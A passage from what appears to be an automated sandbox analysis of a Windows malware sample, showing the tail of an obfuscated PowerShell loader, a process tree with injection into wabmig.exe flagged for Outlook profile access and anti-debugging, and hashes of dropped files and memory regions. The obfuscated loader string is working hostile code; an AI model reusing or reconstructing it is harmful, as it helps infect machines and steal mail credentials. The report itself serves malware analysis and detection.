Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2916
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gymnasielrer36.Bru && echo t"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1104
            • C:\Program Files (x86)\windows mail\wabmig.exe
              "C:\Program Files (x86)\windows mail\wabmig.exe"
              5⤵
                PID:4808
              • C:\Program Files (x86)\windows mail\wabmig.exe
                "C:\Program Files (x86)\windows mail\wabmig.exe"
                5⤵
                • Accesses Microsoft Outlook profiles
                • Suspicious use of NtCreateThreadExHideFromDebugger
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                • outlook_office_path
                • outlook_win_path
                PID:3456

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xbcpfnj2.dni.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Gymnasielrer36.Bru

        Filesize

        427KB

        MD5

        45ba7a030b3ed8b67c945e660cc5d60e

        SHA1

        c255be4cc7020eeaeca86c803a8c6a989cb55996

        SHA256

        81f504ce5c2f4cc87fb6748ad21cd2438c533e457c3824a7dd49bbdab1061b2c

        SHA512

        38d07fe03ae6b3a2a0dbc52bd8101763051db8578e6906e34d82f44aa3f083bba7c39fba60c801f97d6163b6149a326a8fcdcfb8b020de95b51ceb2facb7858e

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0

        Filesize

        46B

        MD5

        c07225d4e7d01d31042965f048728a0a

        SHA1

        69d70b340fd9f44c89adb9a2278df84faa9906b7

        SHA256

        8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

        SHA512

        23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0

        Filesize

        46B

        MD5

        d898504a722bff1524134c6ab6a5eaa5

        SHA1

        e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

        SHA256

        878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

        SHA512

        26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

      • memory/2916-40-0x0000000008830000-0x0000000008DD4000-memory.dmp

        Filesize

        5.6MB

      • memory/2916-36-0x0000000007C00000-0x000000000827A000-memory.dmp

        Filesize

        6.5MB

      • memory/2916-42-0x0000000008DE0000-0x000000000C2FA000-memory.dmp

        Filesize

        53.1MB

      • memory/2916-39-0x00000000075D0000-0x00000000075F2000-memory.dmp

        Filesize

        136KB

      • memory/2916-18-0x0000000002BA0000-0x0000000002BD6000-memory.dmp

        Filesize

        216KB

      • memory/2916-19-0x00000000056C0000-0x0000000005CE8000-memory.dmp

        Filesize

        6.2MB

      • memory/2916-20-0x00000000054D0000-0x00000000054F2000-memory.dmp

        Filesize

        136KB

      • memory/2916-21-0x0000000005570000-0x00000000055D6000-memory.dmp

        Filesize

        408KB

      • memory/2916-22-0x0000000005650000-0x00000000056B6000-memory.dmp

        Filesize

        408KB

      • memory/2916-32-0x0000000005DB0000-0x0000000006104000-memory.dmp

        Filesize

        3.3MB

      • memory/2916-33-0x00000000063B0000-0x00000000063CE000-memory.dmp

        Filesize

        120KB

      • memory/2916-34-0x00000000063E0000-0x000000000642C000-memory.dmp

        Filesize

        304KB

      • memory/2916-38-0x0000000007640000-0x00000000076D6000-memory.dmp

        Filesize

        600KB

      • memory/2916-37-0x0000000006950000-0x000000000696A000-memory.dmp

        Filesize

        104KB

      • memory/2968-15-0x00007FF90F013000-0x00007FF90F015000-memory.dmp

        Filesize

        8KB

      • memory/2968-35-0x00007FF90F010000-0x00007FF90FAD1000-memory.dmp

        Filesize

        10.8MB

      • memory/2968-17-0x00007FF90F010000-0x00007FF90FAD1000-memory.dmp

        Filesize

        10.8MB

      • memory/2968-0-0x00007FF90F013000-0x00007FF90F015000-memory.dmp

        Filesize

        8KB

      • memory/2968-12-0x00007FF90F010000-0x00007FF90FAD1000-memory.dmp

        Filesize

        10.8MB

      • memory/2968-16-0x00007FF90F010000-0x00007FF90FAD1000-memory.dmp

        Filesize

        10.8MB

      • memory/2968-43-0x00007FF90F010000-0x00007FF90FAD1000-memory.dmp

        Filesize

        10.8MB

      • memory/2968-61-0x00007FF90F010000-0x00007FF90FAD1000-memory.dmp

        Filesize

        10.8MB

      • memory/2968-11-0x00007FF90F010000-0x00007FF90FAD1000-memory.dmp

        Filesize

        10.8MB

      • memory/2968-1-0x000002A3F54D0000-0x000002A3F54F2000-memory.dmp

        Filesize

        136KB

      • memory/3456-44-0x0000000000DC0000-0x00000000042DA000-memory.dmp

        Filesize

        53.1MB

      • memory/3456-58-0x0000000000DC0000-0x00000000042DA000-memory.dmp

        Filesize

        53.1MB